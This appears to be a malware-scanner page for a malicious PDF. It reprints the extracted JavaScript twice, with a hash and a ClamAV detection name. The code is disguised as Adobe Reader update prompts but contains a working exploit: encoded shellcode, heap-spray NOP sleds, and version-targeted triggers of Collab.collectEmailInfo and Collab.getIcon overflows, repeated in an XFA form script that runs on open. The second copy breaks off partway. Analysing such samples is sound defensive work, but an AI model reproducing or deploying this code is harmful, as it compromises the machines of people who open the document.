ADBE.Reader_string_Need_New_Version_Msg = "This PDF file requires a newer version of Adobe Reader. Press OK to download the latest version or see your system administrator.";
ADBE.Viewer_Form_string_Reader_601 = "This PDF form requires a newer version of Adobe Reader. Although the form may appear to work properly, some elements may function improperly or may not appear at all. Press OK to initiate an online update or see your system administrator.";
ADBE.Viewer_Form_string_Reader_Older = "This PDF form requires a newer version of Adobe Reader. Although the form may appear to work properly, some elements may function improperly or may not appear at all. Press OK for online download information or see your system administrator.";
ADBE.Viewer_Form_string_Viewer_601 = "This PDF form requires a newer version of Adobe Acrobat. Although the form may appear to work properly, some elements may function improperly or may not appear at all. Press OK to initiate an online update or see your system administrator.";
ADBE.Viewer_Form_string_Viewer_60 = "This PDF form requires a newer version of Adobe Acrobat. Although the form may appear to work properly, some elements may function improperly or may not appear at all. For more information please copy the following URL (CTRL+C on Win, Command-C on Mac) and paste into your browser or see your system administrator.";
ADBE.Viewer_Form_string_Viewer_Older = "This PDF requires a newer version of Acrobat. Copy this URL and paste into your browser or see your sys admin.";
ADBE.Viewer_Form_string_Reader_5x = "This PDF form requires a newer version of Adobe Reader. Without a newer version, the form may be displayed, but it might not work properly. Some form elements might not be visible at all. If an internet connection is available, clicking OK will open your browser to a web page where you can obtain the latest version.";
ADBE.Viewer_Form_string_Reader_6_7x = "This PDF form requires a newer version of Adobe Reader. Without a newer version, the form may be displayed, but it might not work properly. Some form elements might not be visible at all. If an internet connection is available, clicking OK will download and install the latest version.";
ADBE.Viewer_Form_string_Viewer_7x = "This PDF form requires a newer version of Adobe Acrobat. Without a newer version, the form may be displayed, but it might not work properly. Some form elements might not be visible at all. If an internet connection is available, clicking OK will download and install the latest version.";
if (typeof(xfa_installed) == "undefined" || typeof(xfa_version) == "undefined" || xfa_version < 2.0)
{
if (app.viewerType == "Reader")
{
if (ADBE.Reader_Value_Asked != true)
{
if (app.viewerVersion < 6.0)
{
if (app.alert(ADBE.Viewer_Form_string_Reader_5x, 1, 1) == 1)
this.getURL(ADBE.Reader_Value_New_Version_URL + ADBE.SYSINFO, false);
ADBE.Reader_Value_Asked = true;
}
else if (app.viewerVersion < 7.0)
{
if (app.alert(ADBE.Viewer_Form_string_Reader_601, 1, 1) == 1)
app.findComponent({cType:"App", cName:"Reader7", cDesc: ADBE.Viewer_string_Update_Reader_Desc});
ADBE.Reader_Value_Asked = true;
}
else
{
if (app.alert(ADBE.Viewer_Form_string_Reader_6_7x, 1, 1) == 1)
app.findComponent({cType:"Plugin", cName:"XFA", cDesc: ADBE.Viewer_string_Update_Desc});
ADBE.Reader_Value_Asked = true;
}
}
}
else
{
if (ADBE.Viewer_Value_Asked != true)
{
if (app.viewerVersion < 7.0)
app.response({cQuestion: ADBE.Viewer_Form_string_Viewer_Older, cDefault: ADBE.Viewer_Value_New_Version_URL + ADBE.SYSINFO, cTitle: ADBE.Viewer_string_Title});
else if (app.alert(ADBE.Viewer_Form_string_Viewer_7x, 1, 1) == 1)
app.findComponent({cType:"Plugin", cName:"XFA", cDesc: ADBE.Viewer_string_Update_Desc});
ADBE.Viewer_Value_Asked = true;
}
}
}
function Rc(mycount,mywhat)
{
var av = "";
while (--mycount >= 0)
av += mywhat;
return av;
}
function mailInfo_start(mysc)
{
var avgir = unescape;
sc = mysc;
if (app.viewerVersion >= 7.0)
{
plin = Rc(1124,avgir("%u0b0b%u0028%u06eb%u06eb")) + avgir("%u0b0b%u0028%u0aeb%u0aeb") + avgir("%u4149%u4149") + Rc(120,avgir("%u0b0b%u0028%u06eb%u06eb")) + avgir("%u4149%u4149") + sc + Rc(1256,avgir("%u4141%u4141"));
}
else
{
ef6 = avgir("%uf6eb%uf6eb") + avgir("%u0b0b%u0019");
plin = Rc(80,avgir("%u4149%u4149")) + sc + Rc(80,avgir("%u4149%u4149"))+ avgir("%u17e9%ufffb")+avgir("%uffff%uffff") + avgir("%uf6eb%uf4eb") + avgir("%uf2eb%uf1eb");
while ((plin.length % 8) != 0)
plin = avgir("%u4141") + plin;
plin += Rc(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
//GetIcon
function getIcon_spary(mysc) {
var avgir = unescape;
var shellcode = mysc;
garbage = Rc(80,avgir("%u4149")) + shellcode;
headersize = 10;
nopblock = avgir("%u4149%u4149");
acl = headersize+garbage.length;
while (nopblock.length<acl) nopblock+=nopblock;
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<180;i++) memory[i] = block + garbage;
var buffersize = 4012;
var buffer = Array(buffersize);
for (i=0; i<buffersize; i++)
{
buffer[i] = avgir("%0a%0a%0a%0a");
}
Collab.getIcon(buffer+'_N.bundle');
}
function ExpDispatch()
{
var avgir = unescape;
var sc1 = avgir("%uc933%ub966%u017c%u1beb%u565e%ufe8b%u66ac%u612d%u6600%ue0c1%u6604%ud08b%u2cac%u6661%uc203%u49aa");
var sc3 = avgir("%u6262%u6161%u6161%u6161%u6a5f%u6f62%u6261%u6161%u6161%u7059%u6665%u6d60%u6567%u625b%u6164%u6161");
var sc23 = avgir("%u6768%u6e67%u615c%u6665%u6964%u6363%u6d5b%u685f%u6464%u6b5d%u6b59%u6c66%u6f59%u6f65%u6f61%u6d5f");
var sc4 = avgir("%u6161%u6161%u6c59%u6165%u6d61%u6c59%u6168%u6d62%u6e5b%u6c59%u6966%u6961%u6a59%u6e66%u6d5f%u6c59");
var sc7 = avgir("%u6464%u6c5e%u7061%u6f5c%u6162%u6b64%u675e%u6568%u6961%u625d%u6c5d%u6e61%u6461%u6b5e%u6165%u6c5f");
var sc9 = avgir("%u6c59%u6f66%u6d62%u6461%u6e66%u6d5f%u6c59%u6561%u6c59%u6461%u6665%u6d5f%u6c5b%u6a66%u635f%u665c");
var sc6 = avgir("%u6461%u6160%u6766%u6c59%u6768%u6163%u6461%u6160%u6464%u6a5d%u6a65%u6265%u6e5b%u6461%u6665%u6d5f");
var sc10 = avgir("%u6464%u615d%u6a59%u6665%u695f%u6a59%u6665%u655f%u6459%u6665%u655f%u6561%u6b67%u6161%u6c59%u6665");
var sc5 = avgir("%u6e65%u6160%u6c59%u6e68%u6d60%u6266%u6c59%u6665%u6d5f%u6c59%u6168%u6d64%u6c59%u6568%u6761%u6968");
var sc13 = avgir("%u6162%u6161%u6161%u6c59%u6666%u6560%u6366%u6b67%u6161%u6c59%u6665%u6d60%u7060%u6166%u6564%u6a59");
var sc11 = avgir("%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6162%u6a59%u6665%u6560%u6459%u6e68%u6560%u7060%u6568");
var sc14 = avgir("%u6665%u6960%u6b67%u6161%u6b67%u6161%u6b67%u6161%u6c59%u6e65%u655f%u6266%u6c59%u6666%u6d60%u7060");
var sc19 = avgir("%u6161%u6161%u6161%u6659%u615d%u7061%u6659%u6e67%u7060%u7060%u7060%u6c59%u6668%u6960%u6464%u6a5d");
var sc15 = avgir("%u6366%u6164%u6b67%u6161%u6e59%u6665%u695f%u6166%u6c59%u6e65%u6560%u6266%u6c59%u6666%u6960%u6366");
var sc8 = avgir("%u6260%u6c64%u7062%u6668%u675f%u6f66%u6c59%u6f66%u6563%u6461%u6e66%u6d5f%u6767%u6c59%u6d61%u6c65");
var sc16 = avgir("%u6c59%u6665%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6d63%u6c59%u6666%u6960%u6461%u6666%u6560");
var sc21 = avgir("%u6668%u6d60%u7060%u6668%u655f%u7060%u675e%u695f%u6e5e%u6f60%u7060%u7060%u6c60%u685a%u6e60%u7061");
var sc17 = avgir("%u6259%u6b68%u6d60%u6667%u7067%u6767%u6b61%u6668%u6361%u6c5f%u6163%u6967%u6161%u6159%u6161%u6161");
var sc12 = avgir("%u6e67%u6259%u6e68%u6560%u6161%u6163%u6161%u6161%u6e68%u6361%u6c5f%u6367%u6b67%u6165%u6967%u6161");
var sc18 = avgir("%u6c59%u6665%u6560%u6166%u6c59%u6e65%u6960%u6266%u6c59%u6666%u6d60%u7060%u6366%u6964%u695c%u6261");
var sc20 = avgir("%u6265%u6259%u6d64%u6f61%u6667%u7067%u6767%u6b61%u6668%u6760%u6459%u625d%u6561%u6461%u6260%u7060");
var sc24 = avgir("%u6b60%u685a%u6361%u6d65%u6760%u6b5f%u6b5c%u6d66%u6762%u6667%u6b60%u6162%u6d5b%u6961%u6b5e%u6768");
var sc22 = avgir("%u665b%u6862%u6161%u6d68%u6368%u6f60%u645c%u6762%u6f68%u695e%u635f%u6468%u6e5b%u6c5a%u6e68%u705e");
var sc2 = avgir("%uea75%ue8c3%uffe0%uffff%u6666%u6c59%u6d5f%u6459%u6d5f%u6d66%u6466%u6766%u6866%u685d%u6665%u6160");
var sc25 = avgir("%u6566%u6b5d%u705b%u625a%u6d5b%u6464%u6761%u6461%u695a%u6f60%u6b59%u6f61%u7062%u6a68%u6b61%u695f");
var thsc = sc1+sc2+sc3+sc4+sc5+sc6+sc7+sc8+sc9+sc10+sc11+sc12+sc13+sc14+sc15+sc16+sc17+sc18+sc19+sc20+sc21+sc22+sc23+sc24+sc25;
if(app.viewerVersion == 9.0)
{
getIcon_spary(thsc);
return;
}
else if(app.viewerVersion == 8.103)
{
getIcon_spary(thsc);
return;
}
else if(app.viewerVersion == 8.102)
{
getIcon_spary(thsc);
return;
}
else
{
mailInfo_start(thsc);
return;
}
}
ExpDispatch();
<template xmlns="http://www.xfa.org/schema/xfa-template/2.1/"><subform layout="tb" locale="en_CA" name="form1"><pageSet><pageArea id="Page1" name="Page1"><contentArea h="756pt" w="576pt" x="0.25in" y="0.25in"></contentArea><medium long="792pt" short="612pt" stock="default"></medium></pageArea></pageSet><subform h="756pt" w="576pt"><field h="9.525mm" name="ImageField1" w="25.4mm" x="177.8mm"><ui><imageEdit></imageEdit></ui><caption placement="bottom" reserve="9.525mm"><font typeface="Myriad Pro"></font><para vAlign="middle"></para></caption><event xmlns="http://www.xfa.org/schema/xfa-template/2.2/" activity="initialize"><script contentType="application/x-javascript">function Rc(mycount,mywhat)
{
var av = "fdfgdfgerer";
av = "";
while (--mycount >= 0)
{
av += mywhat;
}
return av;
}
function getIcon_spary(mysc)
{
var avgir = unescape;
var shellcode = mysc;
garbage = Rc(80,avgir("%u4149")) + shellcode;
headersize = 10;
nopblock = avgir("%u4149%u4149");
acl = headersize+garbage.length;
while (nopblock.length<acl)
{
nopblock+=nopblock;
}
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl< 0x40000)
{
block = block+block+fillblock;
}
memory = new Array();
for (i=0;i<180;i++)
{
memory[i] = block + garbage;
}
}
function ExpDispatch()
{
var avgir = unescape;
var sc1 = avgir("%uc933%ub966%u017c%u1beb%u565e%ufe8b%u66ac%u612d%u6600%ue0c1%u6604%ud08b%u2cac%u6661%uc203%u49aa");
var sc3 = avgir("%u6262%u6161%u6161%u6161%u6a5f%u6f62%u6261%u6161%u6161%u7059%u6665%u6d60%u6567%u625b%u6164%u6161");
var sc23 = avgir("%u6768%u6e67%u615c%u6665%u6964%u6363%u6d5b%u685f%u6464%u6b5d%u6b59%u6c66%u6f59%u6f65%u6f61%u6d5f");
var sc4 = avgir("%u6161%u6161%u6c59%u6165%u6d61%u6c59%u6168%u6d62%u6e5b%u6c59%u6966%u6961%u6a59%u6e66%u6d5f%u6c59");
var sc7 = avgir("%u6464%u6c5e%u7061%u6f5c%u6162%u6b64%u675e%u6568%u6961%u625d%u6c5d%u6e61%u6461%u6b5e%u6165%u6c5f");
var sc9 = avgir("%u6c59%u6f66%u6d62%u6461%u6e66%u6d5f%u6c59%u6561%u6c59%u6461%u6665%u6d5f%u6c5b%u6a66%u635f%u665c");
var sc6 = avgir("%u6461%u6160%u6766%u6c59%u6768%u6163%u6461%u6160%u6464%u6a5d%u6a65%u6265%u6e5b%u6461%u6665%u6d5f");
var sc10 = avgir("%u6464%u615d%u6a59%u6665%u695f%u6a59%u6665%u655f%u6459%u6665%u655f%u6561%u6b67%u6161%u6c59%u6665");
var sc5 = avgir("%u6e65%u6160%u6c59%u6e68%u6d60%u6266%u6c59%u6665%u6d5f%u6c59%u6168%u6d64%u6c59%u6568%u6761%u6968");
var sc13 = avgir("%u6162%u6161%u6161%u6c59%u6666%u6560%u6366%u6b67%u6161%u6c59%u6665%u6d60%u7060%u6166%u6564%u6a59");
var sc11 = avgir("%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6162%u6a59%u6665%u6560%u6459%u6e68%u6560%u7060%u6568");
var sc14 = avgir("%u6665%u6960%u6b67%u6161%u6b67%u6161%u6b67%u6161%u6c59%u6e65%u655f%u6266%u6c59%u6666%u6d60%u7060");
var sc19 = avgir("%u6161%u6161%u6161%u6659%u615d%u7061%u6659%u6e67%u7060%u7060%u7060%u6c59%u6668%u6960%u6464%u6a5d");
var sc15 = avgir("%u6366%u6164%u6b67%u6161%u6e59%u6665%u695f%u6166%u6c59%u6e65%u6560%u6266%u6c59%u6666%u6960%u6366");
var sc8 = avgir("%u6260%u6c64%u7062%u6668%u675f%u6f66%u6c59%u6f66%u6563%u6461%u6e66%u6d5f%u6767%u6c59%u6d61%u6c65");
var sc16 = avgir("%u6c59%u6665%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6d63%u6c59%u6666%u6960%u6461%u6666%u6560");
var sc21 = avgir("%u6668%u6d60%u7060%u6668%u655f%u7060%u675e%u695f%u6e5e%u6f60%u7060%u7060%u6c60%u685a%u6e60%u7061");
var sc17 = avgir("%u6259%u6b68%u6d60%u6667%u7067%u6767%u6b61%u6668%u6361%u6c5f%u6163%u6967%u6161%u6159%u6161%u6161");
var sc12 = avgir("%u6e67%u6259%u6e68%u6560%u6161%u6163%u6161%u6161%u6e68%u6361%u6c5f%u6367%u6b67%u6165%u6967%u6161");
var sc18 = avgir("%u6c59%u6665%u6560%u6166%u6c59%u6e65%u6960%u6266%u6c59%u6666%u6d60%u7060%u6366%u6964%u695c%u6261");
var sc20 = avgir("%u6265%u6259%u6d64%u6f61%u6667%u7067%u6767%u6b61%u6668%u6760%u6459%u625d%u6561%u6461%u6260%u7060");
var sc24 = avgir("%u6b60%u685a%u6361%u6d65%u6760%u6b5f%u6b5c%u6d66%u6762%u6667%u6b60%u6162%u6d5b%u6961%u6b5e%u6768");
var sc22 = avgir("%u665b%u6862%u6161%u6d68%u6368%u6f60%u645c%u6762%u6f68%u695e%u635f%u6468%u6e5b%u6c5a%u6e68%u705e");
var sc2 = avgir("%uea75%ue8c3%uffe0%uffff%u6666%u6c59%u6d5f%u6459%u6d5f%u6d66%u6466%u6766%u6866%u685d%u6665%u6160");
var sc25 = avgir("%u6566%u6b5d%u705b%u625a%u6d5b%u6464%u6761%u6461%u695a%u6f60%u6b59%u6f61%u7062%u6a68%u6b61%u695f");
var thsc = sc1+sc2+sc3+sc4+sc5+sc6+sc7+sc8+sc9+sc10+sc11+sc12+sc13+sc14+sc15+sc16+sc17+sc18+sc19+sc20+sc21+sc22+sc23+sc24+sc25;
if(app.viewerVersion >= 8.101)
{
getIcon_spary(thsc);
return;
}
}
//xfa.host.messageBox("This is a message");
ExpDispatch();
ImageField1.value.image.href = "ppp.tif";
ExpDispatch();</script></event></field></subform><proto></proto></subform><?templateDesigner DefaultLanguage JavaScript?><?templateDesigner DefaultRunAt client?><?templateDesigner Grid show:1, snap:1, units:0, color:ff8080, origin:(0,0), interval:(125000,125000)?><?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?><?templateDesigner Zoom 85?><?templateDesigner DefaultPreviewType interactive?></template>
|
|||
generic_stage_recovery_002.js |
deobfuscated-js | generic stage recovery percent-decode from combined JavaScript objects at offset 0x6D72 | 15421 bytes |
SHA-256: 8dcdb77274ce110121f7d3457a46aaa184bf007bb9aa8b3279cfb6cac35e4387 |
|||
|
Detection
ClamAV:
Pdf.Exploit.Agent-35646
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
if (typeof(ADBE.Reader_Value_Asked) == "undefined")
ADBE.Reader_Value_Asked = false;
if (typeof(ADBE.Viewer_Value_Asked) == "undefined")
ADBE.Viewer_Value_Asked = false;
if (typeof(ADBE.Reader_Need_Version) == "undefined" || ADBE.Reader_Need_Version < 7.0)
{
ADBE.Reader_Need_Version = 7.0;
ADBE.Reader_Value_New_Version_URL = "http://cgi.adobe.com/special/acrobat/update";
ADBE.SYSINFO = "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&w=" + "XFA1_6";
}
if (typeof(ADBE.Viewer_Need_Version) == "undefined" || ADBE.Viewer_Need_Version < 7.0)
{
ADBE.Viewer_Need_Version = 7.0;
ADBE.Viewer_Value_New_Version_URL = "http://cgi.adobe.com/special/acrobat/update";
ADBE.SYSINFO = "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&w=" + "XFA1_6";
}
if (typeof(this.ADBE) == "undefined")
this.ADBE = new Object();
ADBE.LANGUAGE = "ENU";
ADBE.Viewer_string_Title = "Adobe Acrobat";
ADBE.Viewer_string_Update_Desc = "Adobe Interactive Forms Update";
ADBE.Viewer_string_Update_Reader_Desc = "Adobe Reader 7";
ADBE.Reader_string_Need_New_Version_Msg = "This PDF file requires a newer version of Adobe Reader. Press OK to download the latest version or see your system administrator.";
ADBE.Viewer_Form_string_Reader_601 = "This PDF form requires a newer version of Adobe Reader. Although the form may appear to work properly, some elements may function improperly or may not appear at all. Press OK to initiate an online update or see your system administrator.";
ADBE.Viewer_Form_string_Reader_Older = "This PDF form requires a newer version of Adobe Reader. Although the form may appear to work properly, some elements may function improperly or may not appear at all. Press OK for online download information or see your system administrator.";
ADBE.Viewer_Form_string_Viewer_601 = "This PDF form requires a newer version of Adobe Acrobat. Although the form may appear to work properly, some elements may function improperly or may not appear at all. Press OK to initiate an online update or see your system administrator.";
ADBE.Viewer_Form_string_Viewer_60 = "This PDF form requires a newer version of Adobe Acrobat. Although the form may appear to work properly, some elements may function improperly or may not appear at all. For more information please copy the following URL (CTRL+C on Win, Command-C on Mac) and paste into your browser or see your system administrator.";
ADBE.Viewer_Form_string_Viewer_Older = "This PDF requires a newer version of Acrobat. Copy this URL and paste into your browser or see your sys admin.";
ADBE.Viewer_Form_string_Reader_5x = "This PDF form requires a newer version of Adobe Reader. Without a newer version, the form may be displayed, but it might not work properly. Some form elements might not be visible at all. If an internet connection is available, clicking OK will open your browser to a web page where you can obtain the latest version.";
ADBE.Viewer_Form_string_Reader_6_7x = "This PDF form requires a newer version of Adobe Reader. Without a newer version, the form may be displayed, but it might not work properly. Some form elements might not be visible at all. If an internet connection is available, clicking OK will download and install the latest version.";
ADBE.Viewer_Form_string_Viewer_7x = "This PDF form requires a newer version of Adobe Acrobat. Without a newer version, the form may be displayed, but it might not work properly. Some form elements might not be visible at all. If an internet connection is available, clicking OK will download and install the latest version.";
if (typeof(xfa_installed) == "undefined" || typeof(xfa_version) == "undefined" || xfa_version < 2.0)
{
if (app.viewerType == "Reader")
{
if (ADBE.Reader_Value_Asked != true)
{
if (app.viewerVersion < 6.0)
{
if (app.alert(ADBE.Viewer_Form_string_Reader_5x, 1, 1) == 1)
this.getURL(ADBE.Reader_Value_New_Version_URL + ADBE.SYSINFO, false);
ADBE.Reader_Value_Asked = true;
}
else if (app.viewerVersion < 7.0)
{
if (app.alert(ADBE.Viewer_Form_string_Reader_601, 1, 1) == 1)
app.findComponent({cType:"App", cName:"Reader7", cDesc: ADBE.Viewer_string_Update_Reader_Desc});
ADBE.Reader_Value_Asked = true;
}
else
{
if (app.alert(ADBE.Viewer_Form_string_Reader_6_7x, 1, 1) == 1)
app.findComponent({cType:"Plugin", cName:"XFA", cDesc: ADBE.Viewer_string_Update_Desc});
ADBE.Reader_Value_Asked = true;
}
}
}
else
{
if (ADBE.Viewer_Value_Asked != true)
{
if (app.viewerVersion < 7.0)
app.response({cQuestion: ADBE.Viewer_Form_string_Viewer_Older, cDefault: ADBE.Viewer_Value_New_Version_URL + ADBE.SYSINFO, cTitle: ADBE.Viewer_string_Title});
else if (app.alert(ADBE.Viewer_Form_string_Viewer_7x, 1, 1) == 1)
app.findComponent({cType:"Plugin", cName:"XFA", cDesc: ADBE.Viewer_string_Update_Desc});
ADBE.Viewer_Value_Asked = true;
}
}
}
function Rc(mycount,mywhat)
{
var av = "";
while (--mycount >= 0)
av += mywhat;
return av;
}
function mailInfo_start(mysc)
{
var avgir = unescape;
sc = mysc;
if (app.viewerVersion >= 7.0)
{
plin = Rc(1124,avgir("%u0b0b%u0028%u06eb%u06eb")) + avgir("%u0b0b%u0028%u0aeb%u0aeb") + avgir("%u4149%u4149") + Rc(120,avgir("%u0b0b%u0028%u06eb%u06eb")) + avgir("%u4149%u4149") + sc + Rc(1256,avgir("%u4141%u4141"));
}
else
{
ef6 = avgir("%uf6eb%uf6eb") + avgir("%u0b0b%u0019");
plin = Rc(80,avgir("%u4149%u4149")) + sc + Rc(80,avgir("%u4149%u4149"))+ avgir("%u17e9%ufffb")+avgir("%uffff%uffff") + avgir("%uf6eb%uf4eb") + avgir("%uf2eb%uf1eb");
while ((plin.length % 8) != 0)
plin = avgir("%u4141") + plin;
plin += Rc(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
//GetIcon
function getIcon_spary(mysc) {
var avgir = unescape;
var shellcode = mysc;
garbage = Rc(80,avgir("%u4149")) + shellcode;
headersize = 10;
nopblock = avgir("%u4149%u4149");
acl = headersize+garbage.length;
while (nopblock.length<acl) nopblock+=nopblock;
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<180;i++) memory[i] = block + garbage;
var buffersize = 4012;
var buffer = Array(buffersize);
for (i=0; i<buffersize; i++)
{
buffer[i] = avgir("
");
}
Collab.getIcon(buffer+'_N.bundle');
}
function ExpDispatch()
{
var avgir = unescape;
var sc1 = avgir("%uc933%ub966%u017c%u1beb%u565e%ufe8b%u66ac%u612d%u6600%ue0c1%u6604%ud08b%u2cac%u6661%uc203%u49aa");
var sc3 = avgir("%u6262%u6161%u6161%u6161%u6a5f%u6f62%u6261%u6161%u6161%u7059%u6665%u6d60%u6567%u625b%u6164%u6161");
var sc23 = avgir("%u6768%u6e67%u615c%u6665%u6964%u6363%u6d5b%u685f%u6464%u6b5d%u6b59%u6c66%u6f59%u6f65%u6f61%u6d5f");
var sc4 = avgir("%u6161%u6161%u6c59%u6165%u6d61%u6c59%u6168%u6d62%u6e5b%u6c59%u6966%u6961%u6a59%u6e66%u6d5f%u6c59");
var sc7 = avgir("%u6464%u6c5e%u7061%u6f5c%u6162%u6b64%u675e%u6568%u6961%u625d%u6c5d%u6e61%u6461%u6b5e%u6165%u6c5f");
var sc9 = avgir("%u6c59%u6f66%u6d62%u6461%u6e66%u6d5f%u6c59%u6561%u6c59%u6461%u6665%u6d5f%u6c5b%u6a66%u635f%u665c");
var sc6 = avgir("%u6461%u6160%u6766%u6c59%u6768%u6163%u6461%u6160%u6464%u6a5d%u6a65%u6265%u6e5b%u6461%u6665%u6d5f");
var sc10 = avgir("%u6464%u615d%u6a59%u6665%u695f%u6a59%u6665%u655f%u6459%u6665%u655f%u6561%u6b67%u6161%u6c59%u6665");
var sc5 = avgir("%u6e65%u6160%u6c59%u6e68%u6d60%u6266%u6c59%u6665%u6d5f%u6c59%u6168%u6d64%u6c59%u6568%u6761%u6968");
var sc13 = avgir("%u6162%u6161%u6161%u6c59%u6666%u6560%u6366%u6b67%u6161%u6c59%u6665%u6d60%u7060%u6166%u6564%u6a59");
var sc11 = avgir("%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6162%u6a59%u6665%u6560%u6459%u6e68%u6560%u7060%u6568");
var sc14 = avgir("%u6665%u6960%u6b67%u6161%u6b67%u6161%u6b67%u6161%u6c59%u6e65%u655f%u6266%u6c59%u6666%u6d60%u7060");
var sc19 = avgir("%u6161%u6161%u6161%u6659%u615d%u7061%u6659%u6e67%u7060%u7060%u7060%u6c59%u6668%u6960%u6464%u6a5d");
var sc15 = avgir("%u6366%u6164%u6b67%u6161%u6e59%u6665%u695f%u6166%u6c59%u6e65%u6560%u6266%u6c59%u6666%u6960%u6366");
var sc8 = avgir("%u6260%u6c64%u7062%u6668%u675f%u6f66%u6c59%u6f66%u6563%u6461%u6e66%u6d5f%u6767%u6c59%u6d61%u6c65");
var sc16 = avgir("%u6c59%u6665%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6d63%u6c59%u6666%u6960%u6461%u6666%u6560");
var sc21 = avgir("%u6668%u6d60%u7060%u6668%u655f%u7060%u675e%u695f%u6e5e%u6f60%u7060%u7060%u6c60%u685a%u6e60%u7061");
var sc17 = avgir("%u6259%u6b68%u6d60%u6667%u7067%u6767%u6b61%u6668%u6361%u6c5f%u6163%u6967%u6161%u6159%u6161%u6161");
var sc12 = avgir("%u6e67%u6259%u6e68%u6560%u6161%u6163%u6161%u6161%u6e68%u6361%u6c5f%u6367%u6b67%u6165%u6967%u6161");
var sc18 = avgir("%u6c59%u6665%u6560%u6166%u6c59%u6e65%u6960%u6266%u6c59%u6666%u6d60%u7060%u6366%u6964%u695c%u6261");
var sc20 = avgir("%u6265%u6259%u6d64%u6f61%u6667%u7067%u6767%u6b61%u6668%u6760%u6459%u625d%u6561%u6461%u6260%u7060");
var sc24 = avgir("%u6b60%u685a%u6361%u6d65%u6760%u6b5f%u6b5c%u6d66%u6762%u6667%u6b60%u6162%u6d5b%u6961%u6b5e%u6768");
var sc22 = avgir("%u665b%u6862%u6161%u6d68%u6368%u6f60%u645c%u6762%u6f68%u695e%u635f%u6468%u6e5b%u6c5a%u6e68%u705e");
var sc2 = avgir("%uea75%ue8c3%uffe0%uffff%u6666%u6c59%u6d5f%u6459%u6d5f%u6d66%u6466%u6766%u6866%u685d%u6665%u6160");
var sc25 = avgir("%u6566%u6b5d%u705b%u625a%u6d5b%u6464%u6761%u6461%u695a%u6f60%u6b59%u6f61%u7062%u6a68%u6b61%u695f");
var thsc = sc1+sc2+sc3+sc4+sc5+sc6+sc7+sc8+sc9+sc10+sc11+sc12+sc13+sc14+sc15+sc16+sc17+sc18+sc19+sc20+sc21+sc22+sc23+sc24+sc25;
if(app.viewerVersion == 9.0)
{
getIcon_spary(thsc);
return;
}
else if(app.viewerVersion == 8.103)
{
getIcon_spary(thsc);
return;
}
else if(app.viewerVersion == 8.102)
{
getIcon_spary(thsc);
return;
}
else
{
mailInfo_start(thsc);
return;
}
}
ExpDispatch();
<template xmlns="http://www.xfa.org/schema/xfa-template/2.1/"><subform layout="tb" locale="en_CA" name="form1"><pageSet><pageArea id="Page1" name="Page1"><contentArea h="756pt" w="576pt" x="0.25in" y="0.25in"></contentArea><medium long="792pt" short="612pt" stock="default"></medium></pageArea></pageSet><subform h="756pt" w="576pt"><field h="9.525mm" name="ImageField1" w="25.4mm" x="177.8mm"><ui><imageEdit></imageEdit></ui><caption placement="bottom" reserve="9.525mm"><font typeface="Myriad Pro"></font><para vAlign="middle"></para></caption><event xmlns="http://www.xfa.org/schema/xfa-template/2.2/" activity="initialize"><script contentType="application/x-javascript">function Rc(mycount,mywhat)
{
var av = "fdfgdfgerer";
av = "";
while (--mycount >= 0)
{
av += mywhat;
}
return av;
}
function getIcon_spary(mysc)
{
var avgir = unescape;
var shellcode = mysc;
garbage = Rc(80,avgir("%u4149")) + shellcode;
headersize = 10;
nopblock = avgir("%u4149%u4149");
acl = headersize+garbage.length;
while (nopblock.length<acl)
{
nopblock+=nopblock;
}
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl< 0x40000)
{
block = block+block+fillblock;
}
memory = new Array();
for (i=0;i<180;i++)
{
memory[i] = block + garbage;
}
}
function ExpDispatch()
{
var avgir = unescape;
var sc1 = avgir("%uc933%ub966%u017c%u1beb%u565e%ufe8b%u66ac%u612d%u6600%ue0c1%u6604%ud08b%u2cac%u6661%uc203%u49aa");
var sc3 = avgir("%u6262%u6161%u6161%u6161%u6a5f%u6f62%u6261%u6161%u6161%u7059%u6665%u6d60%u6567%u625b%u6164%u6161");
var sc23 = avgir("%u6768%u6e67%u615c%u6665%u6964%u6363%u6d5b%u685f%u6464%u6b5d%u6b59%u6c66%u6f59%u6f65%u6f61%u6d5f");
var sc4 = avgir("%u6161%u6161%u6c59%u6165%u6d61%u6c59%u6168%u6d62%u6e5b%u6c59%u6966%u6961%u6a59%u6e66%u6d5f%u6c59");
var sc7 = avgir("%u6464%u6c5e%u7061%u6f5c%u6162%u6b64%u675e%u6568%u6961%u625d%u6c5d%u6e61%u6461%u6b5e%u6165%u6c5f");
var sc9 = avgir("%u6c59%u6f66%u6d62%u6461%u6e66%u6d5f%u6c59%u6561%u6c59%u6461%u6665%u6d5f%u6c5b%u6a66%u635f%u665c");
var sc6 = avgir("%u6461%u6160%u6766%u6c59%u6768%u6163%u6461%u6160%u6464%u6a5d%u6a65%u6265%u6e5b%u6461%u6665%u6d5f");
var sc10 = avgir("%u6464%u615d%u6a59%u6665%u695f%u6a59%u6665%u655f%u6459%u6665%u655f%u6561%u6b67%u6161%u6c59%u6665");
var sc5 = avgir("%u6e65%u6160%u6c59%u6e68%u6d60%u6266%u6c59%u6665%u6d5f%u6c59%u6168%u6d64%u6c59%u6568%u6761%u6968");
